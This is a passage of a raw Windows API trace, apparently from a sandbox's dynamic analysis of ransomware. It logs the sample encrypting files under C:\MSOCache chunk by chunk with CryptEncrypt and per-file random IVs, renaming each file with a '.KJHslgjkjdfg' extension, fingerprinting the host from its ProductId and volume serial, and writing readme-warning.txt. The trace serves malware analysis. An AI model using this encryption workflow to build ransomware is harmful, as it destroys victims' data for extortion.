returned 1 [0161.371] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0161.371] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.371] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.371] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.371] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.379] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.382] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.382] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.382] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.382] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.382] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.383] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.389] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.392] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.392] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.393] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.393] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.393] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b2baa0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.393] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.409] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.411] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b2baa0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.411] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.412] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.412] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.412] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.412] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.412] SetEndOfFile (hFile=0x124) returned 1 [0161.434] GetProcessHeap () returned 0x990000 [0161.434] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0161.434] GetProcessHeap () returned 0x990000 [0161.434] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.434] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.kjhslgjkjdfg")) returned 1 [0161.437] CloseHandle (hObject=0x124) returned 1 [0161.438] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0161.438] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0161.438] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.440] GetProcessHeap () returned 0x990000 [0161.440] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.440] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.440] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0161.440] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x5, lpOverlapped=0x0) returned 1 [0161.444] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.445] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.445] GetProcessHeap () returned 0x990000 [0161.445] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0161.445] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0161.445] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.445] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0161.445] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0161.445] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0161.445] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0161.445] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.445] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0161.445] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.445] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.445] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.445] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x412b, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x412b, lpOverlapped=0x0) returned 1 [0161.446] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x4130, dwBufLen=0x4130 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x4130) returned 1 [0161.446] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.446] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x4130, lpOverlapped=0x0) returned 1 [0161.447] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.447] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x41f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.447] SetEndOfFile (hFile=0x124) returned 1 [0161.448] GetProcessHeap () returned 0x990000 [0161.448] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0161.448] GetProcessHeap () returned 0x990000 [0161.448] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.448] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0161.448] CloseHandle (hObject=0x124) returned 1 [0161.449] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0161.449] GetProcessHeap () returned 0x990000 [0161.449] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0161.449] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0161.449] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0161.449] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.449] GetProcessHeap () returned 0x990000 [0161.449] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0161.449] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0161.449] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0161.449] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.449] GetProcessHeap () returned 0x990000 [0161.449] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0161.449] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0161.449] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0161.449] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.449] GetProcessHeap () returned 0x990000 [0161.449] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0161.449] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0161.449] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0161.450] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.450] GetProcessHeap () returned 0x990000 [0161.450] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0161.450] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0161.450] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0161.450] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.450] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0161.450] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0161.450] RegCloseKey (hKey=0x124) returned 0x0 [0161.450] GetProcessHeap () returned 0x990000 [0161.450] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0161.450] GetProcessHeap () returned 0x990000 [0161.450] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0161.450] GetProcessHeap () returned 0x990000 [0161.450] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0161.450] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0161.450] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0161.450] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.450] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0161.450] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0161.451] GetProcessHeap () returned 0x990000 [0161.451] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0161.451] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0161.451] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0161.451] GetProcessHeap () returned 0x990000 [0161.451] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0161.451] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0161.451] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.452] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0161.453] CloseHandle (hObject=0x124) returned 1 [0161.453] GetProcessHeap () returned 0x990000 [0161.453] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0161.453] GetProcessHeap () returned 0x990000 [0161.453] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0161.453] GetProcessHeap () returned 0x990000 [0161.453] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0161.453] GetProcessHeap () returned 0x990000 [0161.453] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0161.453] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0161.453] GetProcessHeap () returned 0x990000 [0161.453] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0161.453] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0161.454] GetProcessHeap () returned 0x990000 [0161.454] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0161.454] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0161.457] GetProcessHeap () returned 0x990000 [0161.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0161.457] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0161.457] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0161.457] GetProcessHeap () returned 0x990000 [0161.457] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0161.457] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.457] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=1992192) returned 1 [0161.457] GetProcessHeap () returned 0x990000 [0161.458] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.458] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.458] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.458] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.458] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.458] GetProcessHeap () returned 0x990000 [0161.458] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0161.458] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0161.458] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.458] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0161.460] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0161.460] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0161.460] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 